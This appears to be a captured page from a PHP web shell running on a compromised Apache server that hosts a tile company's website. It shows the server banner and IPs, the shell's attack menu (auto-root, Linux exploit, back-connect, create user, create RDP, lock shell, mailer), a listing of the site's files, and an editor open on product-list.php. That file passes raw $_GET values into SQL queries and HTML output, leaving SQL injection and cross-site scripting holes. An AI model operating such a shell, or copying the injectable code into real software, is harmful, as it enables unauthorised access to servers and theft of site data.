Linux ip-172-26-5-244 6.1.0-28-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.119-1 (2024-11-22) x86_64
Apache
: 172.26.5.244 | : 216.73.216.21
Cant Read [ /etc/named.conf ]
8.3.14
daemon
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
opt /
bitnami /
apache /
htdocs /
[ HOME SHELL ]
Name
Size
Permission
Action
PHPMailer
[ DIR ]
drwxr-xr-x
admin
[ DIR ]
drwxr-xr-x
css
[ DIR ]
drwxr-xr-x
img
[ DIR ]
drwxr-xr-x
inc
[ DIR ]
drwxr-xr-x
js
[ DIR ]
drwxr-xr-x
php
[ DIR ]
drwxr-xr-x
plugins
[ DIR ]
drwxr-xr-x
uploads
[ DIR ]
drwxrwxrwx
vendor
[ DIR ]
drwxr-xr-x
videos
[ DIR ]
drwxr-xr-x
.htaccess
844
B
-rw-r--r--
-----index.html
4.76
KB
-rw-rw-r--
---catalogue.php
74.37
KB
-rw-r--r--
360.php
15.2
KB
-rw-r--r--
73766.jpg
997.9
KB
-rw-r--r--
Cart.class.php
6.98
KB
-rw-r--r--
about-us.php
32.79
KB
-rw-r--r--
add_cart.php
325
B
-rw-r--r--
aj_get_color_test2.php
29.86
KB
-rw-r--r--
aj_get_finish_test2.php
29.31
KB
-rw-r--r--
aj_get_size_test.php
32.16
KB
-rw-r--r--
aj_more_post.php
9.05
KB
-rw-r--r--
aj_more_post_finish.php
8.56
KB
-rw-r--r--
annual-retuns.php
11.32
KB
-rw-r--r--
blog-post.php
13.56
KB
-rw-r--r--
blog.php
6.47
KB
-rw-r--r--
builder.php
36.27
KB
-rw-r--r--
career.php
26.97
KB
-rw-r--r--
cart.php
6.65
KB
-rw-r--r--
catalogue.php
81.01
KB
-rw-r--r--
certifications.php
43.86
KB
-rw-r--r--
clear_cart.php
142
B
-rw-r--r--
composer.json
70
B
-rw-r--r--
composer.lock
15.78
KB
-rw-r--r--
csr.php
33.49
KB
-rw-r--r--
dealer-1.php
27.75
KB
-rw-r--r--
dealer.php
84.36
KB
-rw-r--r--
dealerbkp.php
55.94
KB
-rw-r--r--
delete_item.php
394
B
-rw-r--r--
design_by_italy.php
14.43
KB
-rw-r--r--
event_details.php
6.45
KB
-rw-r--r--
fetch_collection.php
846
B
-rw-r--r--
fetch_finish.php
904
B
-rw-r--r--
fetch_sizes.php
906
B
-rw-r--r--
fetch_surfaces.php
812
B
-rw-r--r--
fpdf.css
1.31
KB
-rw-r--r--
fpdf.php
49.65
KB
-rw-r--r--
generate_pdf.php
2.78
KB
-rw-r--r--
global-export.php
101.88
KB
-rw-r--r--
global-market-1.php
17.76
KB
-rw-r--r--
id-mapping.json
16.73
KB
-rw-r--r--
index.php
129.78
KB
-rw-r--r--
interior-architecture-2.php
59
KB
-rw-r--r--
interior-architecture.php
67.44
KB
-rw-r--r--
landing_page.html
9.74
KB
-rw-r--r--
located-us.php
34.96
KB
-rw-r--r--
manufacturer-and-supplier.php
73.38
KB
-rw-r--r--
milestones.php
15.72
KB
-rw-r--r--
news-play.php
6.62
KB
-rw-r--r--
product-detail-2.php
41.38
KB
-rw-r--r--
product-detail.php
38.5
KB
-rw-r--r--
product-list-back.php
33.34
KB
-rw-r--r--
product-list.php
37.42
KB
-rw-r--r--
product-search.php
28.81
KB
-rw-r--r--
promoter-profile.php
8.8
KB
-rw-r--r--
robots.txt
99
B
-rw-r--r--
save_cart.php
269
B
-rw-r--r--
search_result_all.php
8.51
KB
-rw-r--r--
search_result_application.php
6.78
KB
-rw-r--r--
search_result_color.php
8.93
KB
-rw-r--r--
search_result_finish.php
8.87
KB
-rw-r--r--
search_result_size.php
7.24
KB
-rw-r--r--
server-smtp.php
3.3
KB
-rw-r--r--
server.php
1.19
KB
-rw-r--r--
showroom.php
2.19
KB
-rw-r--r--
sitemap.xml
60.69
KB
-rw-r--r--
tiles-calculator.php
25.23
KB
-rw-r--r--
view_cart.php
3.17
KB
-rw-r--r--
volume.php
47.04
KB
-rw-r--r--
volume_bkp.php
35.94
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : product-list.php
<?php include "inc/header.php"; ?> <?php include "inc/menu.php"; ?> <style> .new-size-product { max-height: 180px; object-fit: cover; width: 100vw; } </style> <div id="qodef-page-outer"> <?php $application = $_GET['application'] ?? ''; $size = $_GET['size'] ?? ''; ?> <?php if (!empty($application)) { ?> <h1 style="display: none;"><?= htmlspecialchars($application) ?> Tiles | Italica Tiles</h1> <?php } else if (!empty($size)) { ?> <h1 style="display: none;"><?= htmlspecialchars($size) ?> Tiles | Italica Tiles</h1> <?php } else { ?> <h1 style="display: none;">Leading Tiles Manufacturer & Supplier in India | Italica Tiles</h1> <?php } ?> <div class="qodef-page-title qodef-m qodef-title--breadcrumbs qodef-alignment--left qodef-vertical-alignment--header-bottom"> <div class="qodef-m-inner"> <div class="qodef-m-content qodef-content-full-width"> <div itemprop="breadcrumb" class="qodef-breadcrumbs"> <a itemprop="url" class="qodef-breadcrumbs-link" href="index.php"><span itemprop="title">Home</span></a> <span class="qodef-breadcrumbs-separator"></span> <?php if (isset($_GET['application'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current">Application</span> <?php } else if (isset($_GET['color'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current">Color</span> <?php } else { ?> <span itemprop="title" class="qodef-breadcrumbs-current">Collection</span> <?php } ?> <span class="qodef-breadcrumbs-separator"></span> <?php if (isset($_GET['application'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current"><?= $_GET['application']; ?></span> <?php } if (isset($_GET['id'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current"><?= $_GET['size']; ?></span> <?php } if (isset($_GET['color'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current"><?= $_GET['color']; ?></span> <?php } if (isset($_GET['fname'])) { ?> <span itemprop="title" class="qodef-breadcrumbs-current"><?= $_GET['fname']; ?></span> <?php } ?> </div> </div> </div> </div> <div id="qodef-page-inner"> <main id="qodef-page-content" class="qodef-grid qodef-layout--template qodef--no-bottom-space" role="main"> <div class="qodef-grid-inner clear pt-100 pb-100 plr-50"> <section class="elementor-section elementor-top-section elementor-element elementor-element-51da7f7 elementor-section-full_width elementor-section-height-default elementor-section-height-default qodef-elementor-content-no qodef-elementor-column-no" data-id="51da7f7" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-41eb5d1" data-id="41eb5d1" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-af8b592 elementor-widget elementor-widget-hiroshi_core_portfolio_list" data-id="af8b592" data-element_type="widget" data-widget_type="hiroshi_core_portfolio_list.default"> <div class="elementor-widget-container"> <h6 class="qodef-m-title color-blue"> <b> Filter Products by your Choice:</b> </h6> <div class="qodef-woo-results"> <h5 class="qodef-widget-title"> <form class="woocommerce-ordering" method="get"> <!-- <select id="collection_id" name="collection_id"> <option value="menu_order" selected="selected">SELECT COLLECTION </option> <?php $sel_query = "Select * from tbl_collection where parent_id = 0"; $result = mysqli_query($conn, $sel_query); while ($collection = mysqli_fetch_assoc($result)) { ?> <option value="<?= $collection['collection_id']; ?>"><?= $collection['collection_name']; ?></option> <?php } ?> </select> --> <select id="size_id" name="size_id"> <option value="0" selected="selected">SELECT SIZE </option> <?php $sel_query = "Select * from tbl_collection where parent_id = 0 and visibility = 1"; $result = mysqli_query($conn, $sel_query); while ($collection = mysqli_fetch_assoc($result)) { $sel_sub_query = "Select * from tbl_collection where parent_id = '" . $collection['collection_id'] . "' and visibility = 1"; $result_sub = mysqli_query($conn, $sel_sub_query); while ($sizes = mysqli_fetch_assoc($result_sub)) { ?> <option value="<?= $sizes['collection_id']; ?>"><?= $sizes['collection_name']; ?></option> <?php } ?> <?php } ?> </select> <select id="finish_id" id="finish_id"> <option value="0" selected="selected">SELECT FINISH </option> <!-- <?php $sel_query = "Select * from tbl_new_products group by finish_id"; $result = mysqli_query($conn, $sel_query); while ($collection = mysqli_fetch_assoc($result)) { $sel_size = "SELECT * from tbl_collection where `collection_id` = '" . $collection['finish_id'] . "'"; $size = mysqli_query($conn, $sel_size); $size_name = mysqli_fetch_assoc($size); $fname = strtolower($size_name['collection_name']); ?> <option value="<?= $size_name['collection_id']; ?>"><?= ucwords($fname); ?></option> <?php } ?> --> </select> <!-- <select id="application" id="application"> <option value="0" >SELECT APPLICATION </option> <?php $application = "Select * from tbl_new_products where application != '' group by application order by application asc"; $resulta = mysqli_query($conn, $application); while ($application = mysqli_fetch_assoc($resulta)) { ?> <option value="<?= $application['application']; ?>"><?= $application['application']; ?></option> <?php } ?> </select> --> <select id="colors" id="colors"> <option value="0">SELECT COLOR </option> <?php $sel_colors = "Select * from tbl_new_products where color != '' group by color order by color asc"; $resultc = mysqli_query($conn, $sel_colors); while ($color = mysqli_fetch_assoc($resultc)) { ?> <option value="<?= $color['color']; ?>"><?= $color['color']; ?></option> <?php } ?> </select> <!-- <input type="search" id="search" class="" name="search" value="" placeholder="SEARCH HERE..." required="" style="width: auto;min-width: 190px;margin-bottom: 5px;background-color: #f4f4f4;border-radius: 25px;padding: 10px 22px;font-size: 11px;font-weight: 600;"> <svg class="qodef-svg--search" xmlns="http://www.w3.org/2000/svg" width="21.7756" height="18.9172" viewBox="0 0 21.7756 18.9172" style="position: relative; top: 15px;right: 40px;"> <ellipse cx="9.0452" cy="8.8963" rx="8.5452" ry="8.3963"></ellipse> <line x1="15.414" y1="14.4805" x2="21.5" y2="18.5"></line> </svg> --> </form> </h5> </div> <hr> <div class="qodef-shortcode qodef-m qodef-portfolio-list qodef-item-layout--image-hover qodef-grid qodef-layout--columns qodef-gutter--huge qodef-col-num--4 qodef-item-layout--image-hover qodef--no-bottom-space qodef-pagination--off qodef-responsive--custom qodef-col-num--1440--3 qodef-col-num--1366--3 qodef-col-num--1024--3 qodef-col-num--768--2 qodef-col-num--680--1 qodef-col-num--480--1 "> <h5 itemprop="name" class="qodef-e-title entry-title" id="bread_title"> <b id="size_title" class=""></b> <b id="finish_title" class=""></b> <b id="application_title" class=""></b> <b id="color_title" class=""></b> <br><Br> </h5> <div class="qodef-grid-inner clear filter_data blog_list"> <?php if (isset($_GET['application'])) { $sel_products = "SELECT * from tbl_new_products where application = '" . $_GET['application'] . "' Limit 20"; } if (isset($_GET['id'])) { $sel_products = "SELECT * from tbl_new_products where size_id = '" . $_GET['id'] . "' Limit 20"; } if (isset($_GET['color'])) { $sel_products = "SELECT * from tbl_new_products where color = '" . $_GET['color'] . "' order by size_id Limit 20"; } if (isset($_GET['finish'])) { $sel_products = "SELECT * from tbl_new_products where finish_id = '" . $_GET['finish'] . "' Limit 20"; } $resultp = mysqli_query($conn, $sel_products); $numofrows = mysqli_num_rows($resultp); if ($numofrows > 0) { while ($prod = mysqli_fetch_assoc($resultp)) { $prod_id = $prod['prod_id']; $sel_size = "SELECT * from tbl_collection where `collection_id` = '" . $prod['size_id'] . "'"; $size = mysqli_query($conn, $sel_size); $size_name = mysqli_fetch_assoc($size); $sel_finish = "SELECT * from tbl_collection where `collection_id` = '" . $prod['finish_id'] . "'"; $finish = mysqli_query($conn, $sel_finish); $finish_name = mysqli_fetch_assoc($finish); ?> <article class="qodef-e qodef-grid-item qodef-item--full post-912 portfolio-item type-portfolio-item status-publish has-post-thumbnail hentry portfolio-category-landscaping portfolio-tag-conceptual portfolio-tag-exhibition"> <div class="qodef-e-inner"> <div class="qodef-e-image"> <div class="qodef-e-media-image"> <a itemprop="url" href="product-detail-2.php?pid=<?= $prod['prod_id']; ?>&series=<?= $prod['old_series_id']; ?>&name=<?= $prod['prod_title']; ?>" target="_self"> <?php if (isset($_GET['application'])) { ?> <img fetchpriority="high" decoding="async" width="1100" height="728" src="uploads/products/<?= $prod['prod_image']; ?>" class="attachment-full size-full wp-post-image new-size-product" alt="<?= $prod['prod_name']; ?>" title="<?= $prod['prod_name']; ?>" srcset="uploads/products/<?= $prod['prod_image']; ?>" sizes="(max-width: 1100px) 100vw, 1100px" /> <?php } else { ?> <?php if ($prod['border'] == 'Yes') { ?> <img fetchpriority="high" decoding="async" width="1100" height="728" src="uploads/products/<?= $prod['prod_image2']; ?>" class="attachment-full size-full wp-post-image new-size-product" alt="<?= $prod['prod_name']; ?>" title="<?= $prod['prod_name']; ?>" srcset="uploads/products/<?= $prod['prod_image2']; ?>" sizes="(max-width: 1100px) 100vw, 1100px" style="border:1px solid #ddd;" /> <?php } else { ?> <img fetchpriority="high" decoding="async" width="1100" height="728" src="uploads/products/<?= $prod['prod_image2']; ?>" class="attachment-full size-full wp-post-image" alt="<?= $prod['prod_name']; ?>" title="<?= $prod['prod_name']; ?>" srcset="uploads/products/<?= $prod['prod_image2']; ?>" sizes="(max-width: 1100px) 100vw, 1100px" /> <?php } ?> <?php } ?> </a> </div> </div> <?php if ($prod['prod_image'] != '') { ?> <div class="qodef-e-image-hover"> <div class="qodef-e-media-image-hover"> <a itemprop="url" href="product-detail-2.php?pid=<?= $prod['prod_id']; ?>&series=<?= $prod['old_series_id']; ?>&name=<?= $prod['prod_title']; ?>" target="_self"> <img decoding="async" width="1100" height="728" src="uploads/products/<?= $prod['prod_image']; ?>" class="attachment-full size-full new-size-product" alt="<?= $prod['prod_name']; ?>" title="<?= $prod['prod_name']; ?>" srcset="uploads/products/<?= $prod['prod_image']; ?>" sizes="(max-width: 1100px) 100vw, 1100px" style="max-height: 180px; object-fit: cover; width: 100vw;" /> </a> </div> </div> <?php } else { ?> <div class="qodef-e-image-hover"> <div class="qodef-e-media-image-hover"> <a itemprop="url" href="product-detail-2.php?pid=<?= $prod['prod_id']; ?>&series=<?= $prod['old_series_id']; ?>&name=<?= $prod['prod_title']; ?>" target="_self"> <img decoding="async" width="1100" height="728" src="uploads/products/<?= $prod['prod_image2']; ?>" class="attachment-full size-full new-size-product" alt="<?= $prod['prod_name']; ?>" title="<?= $prod['prod_name']; ?>" srcset="uploads/products/<?= $prod['prod_image2']; ?>" sizes="(max-width: 1100px) 100vw, 1100px" style="max-height: 180px; object-fit: cover; width: 100vw;" /> </a> </div> </div> <?php } ?> <div class="qodef-e-content" style="margin:24px 0 30px 0px"> <div class="qodef-e-text"> <h5 itemprop="name" class="qodef-e-title entry-title"> <a itemprop="url" class="qodef-e-title-link" href="product-detail-2.php?pid=<?= $prod['prod_id']; ?>&series=<?= $prod['old_series_id']; ?>&name=<?= $prod['prod_title']; ?>" target="_self"> <?= strtoupper($prod['prod_name']); ?> </a> </h5> </div> <div class="qodef-e-top-holder"> <div class="qodef-e-info"> <?php $sql_s = "SELECT count(DISTINCT size_id) as amount_sum from tbl_new_products WHERE old_series_id = '" . $prod['old_series_id'] . "'"; $cress = mysqli_query($conn, $sql_s); $sdata = mysqli_fetch_array($cress); ?> <a href="#" rel="tag"><?= $sdata["amount_sum"]; ?> sizes</a> <span class="qodef-info-separator-single"></span> <?php $sql_f = "SELECT count(DISTINCT finish_id) as amount_sum from tbl_new_products WHERE old_series_id = '" . $prod['old_series_id'] . "' "; $cref = mysqli_query($conn, $sql_f); $fdata = mysqli_fetch_array($cref); ?> <a href="#" rel="tag"><?= $fdata["amount_sum"]; ?> finishes</a> <span class="qodef-info-separator-single"></span> <?php $sql = "SELECT count(DISTINCT color) as amount_sum from tbl_new_products WHERE old_series_id = '" . $prod['old_series_id'] . "'"; $cres = mysqli_query($conn, $sql); $cdata = mysqli_fetch_array($cres); ?> <a href="#" rel="tag"><?= $cdata["amount_sum"]; ?> Colors</a> <div class="qodef-info-separator-end"></div> </div> </div> </div> </div> <?php if (isset($_GET['finish'])) { ?> <input type="hidden" name="f_id" id="f_id" value="<?= $prod['finish_id']; ?>"> <?php } else { ?> <input type="hidden" name="c_id" id="c_id" value="<?= $prod['size_id']; ?>"> <input type="hidden" name="s_id" id="s_id" value="<?= $prod['size_id']; ?>"> <?php } ?> </article> <?php } } else { ?> <article class="qodef-e qodef-grid-item qodef-item--full post-912 portfolio-item type-portfolio-item status-publish has-post-thumbnail hentry portfolio-category-landscaping portfolio-tag-conceptual portfolio-tag-exhibition"> <h4> Product will be updated soon </h4> </article> <?php } ?> </div> <!-- <?php if ($_GET['id'] == 27 || isset($_GET['finish']) || isset($_GET['color']) || isset($_GET['application'])) { } else { ?> --> <div class="text-center show_more_container" id="show_more_container<?php echo $prod_id; ?>"> <a class="tp-btn-black hover-2 theme-bg" style="cursor: pointer;"> <?php if (isset($_GET['finish'])) { ?> <span class="f_show_more" id="<?php echo $prod_id; ?>"> <?php } else { ?> <span class="show_more" id="<?php echo $prod_id; ?>"> <?php } ?> <button type="button" id="submit" class="qodef-shortcode qodef-m qodef-button qodef-layout--outlined qodef-html--link">Load More</button> </span> </a> </div> <!-- <?php } ?> --> </div> </div> </div> </div> </div> </div> </section> </div> </main> </div> </div> <?php include "inc/footer.php"; ?> <script type="text/javascript"> $(document).ready(function() { // $("#bread_title").hide(); $("#size_title").hide(); $("#finish_title").hide(); $("#application_title").hide(); $("#color_title").hide(); $(document).on('click', '.show_more', function() { var ID = $(this).attr('id'); var cid = $('#c_id').val(); var sid = $('#s_id').val(); $('.show_more').hide(); $.ajax({ type: 'POST', url: 'aj_more_post.php', data: { prod_id: ID, cid: cid, sid: sid }, success: function(html) { $('#show_more_container' + ID).remove(); $('#loading').show(); $('.blog_list').append(html); } }); }); $(document).on('click', '.f_show_more', function() { var ID = $(this).attr('id'); var fid = $('#f_id').val(); $('.show_more').hide(); $.ajax({ type: 'POST', url: 'aj_more_post_finish.php', data: { prod_id: ID, fid: fid }, success: function(html) { $('#show_more_container' + ID).remove(); $('#loading').show(); $('.blog_list').append(html); } }); }); $("#collection_id").change(function() { var old_series_id = $(this).val(); //alert(old_series_id); if (old_series_id != "") { $.ajax({ url: "fetch_sizes.php", data: { s_id: old_series_id }, type: 'POST', success: function(response) { var resp = $.trim(response); $("#size_id").html(resp); } }); } else { $("#size_id").html("<option value=''>--select Collection--</option>"); } }); }); $(document).ready(function() { $("#size_id").change(function() { var finish_id = $(this).val(); if (finish_id != "") { $.ajax({ url: "fetch_finish.php", data: { f_id: finish_id }, type: 'POST', success: function(response) { var resp = $.trim(response); $("#finish_id").html(resp); } }); } else { $("#finish_id").html("<option value=''>--select Collection--</option>"); } }); }); // ==================================== Filters ========================================== $('#size_id').on('change', function() { var sizename = $(this).find("option:selected").text(); document.querySelector('#size_title').textContent = sizename; $("#size_title").addClass("qodef-shortcode qodef-m qodef-button qodef-layout--outlined qodef-html--link"); $("#size_title").show(); // $("#finish_title").hide(); // $("#application_title").hide(); // $("#color_title").hide(); function filter_data2() { $('.filter_data'); var action = 'fetch_data'; var size_id = $('#size_id').val(); $.ajax({ url: "search_result_size.php", method: "POST", data: { size_id: size_id }, success: function(data) { $('.filter_data').html(data); } }); } function get_filter(class_name) { var filter = []; $('.' + class_name + ':selected').each(function() { filter.push($(this).val()); }); return filter; } filter_data2(); }); // filter by finish $('#finish_id').on('change', function() { $("#finish_title").show(); // $("#application_title").hide(); // $("#color_title").hide(); var finishname = $(this).find("option:selected").text(); document.querySelector('#finish_title').textContent = finishname; $("#finish_title").addClass("qodef-shortcode qodef-m qodef-button qodef-layout--outlined qodef-html--link"); function filter_data3() { $('.filter_data'); var action = 'fetch_data'; var size_id = $('#size_id').val(); var finish_id = $('#finish_id').val(); $.ajax({ url: "search_result_finish.php", method: "POST", data: { size_id: size_id, finish_id: finish_id }, success: function(data) { $('.filter_data').html(data); } }); } function get_filter(class_name) { var filter = []; $('.' + class_name + ':selected').each(function() { filter.push($(this).val()); }); return filter; } filter_data3(); }); // filter by Application $('#application').on('change', function() { $("#application_title").show(); // $("#color_title").hide(); var appname = $(this).find("option:selected").text(); document.querySelector('#application_title').textContent = appname; $("#application_title").addClass("qodef-shortcode qodef-m qodef-button qodef-layout--outlined qodef-html--link"); function filter_data3() { $('.filter_data'); var action = 'fetch_data'; var size_id = $('#size_id').val(); var finish_id = $('#finish_id').val(); var application = $('#application').val(); $.ajax({ url: "search_result_application.php", method: "POST", data: { size_id: size_id, finish_id: finish_id, application: application }, success: function(data) { $('.filter_data').html(data); } }); } function get_filter(class_name) { var filter = []; $('.' + class_name + ':selected').each(function() { filter.push($(this).val()); }); return filter; } filter_data3(); }); // filter by Colors $('#colors').on('change', function() { $("#color_title").show(); var colorname = $(this).find("option:selected").text(); document.querySelector('#color_title').textContent = colorname; $("#color_title").addClass("qodef-shortcode qodef-m qodef-button qodef-layout--outlined qodef-html--link"); function filter_data3() { $('.filter_data'); var action = 'fetch_data'; var size_id = $('#size_id').val(); var finish_id = $('#finish_id').val(); var colors = $('#colors').val(); var application = $('#application').val(); $.ajax({ url: "search_result_color.php", method: "POST", data: { size_id: size_id, finish_id: finish_id, colors: colors, application: application }, success: function(data) { $('.filter_data').html(data); } }); } function get_filter(class_name) { var filter = []; $('.' + class_name + ':selected').each(function() { filter.push($(this).val()); }); return filter; } filter_data3(); }); </script>
Close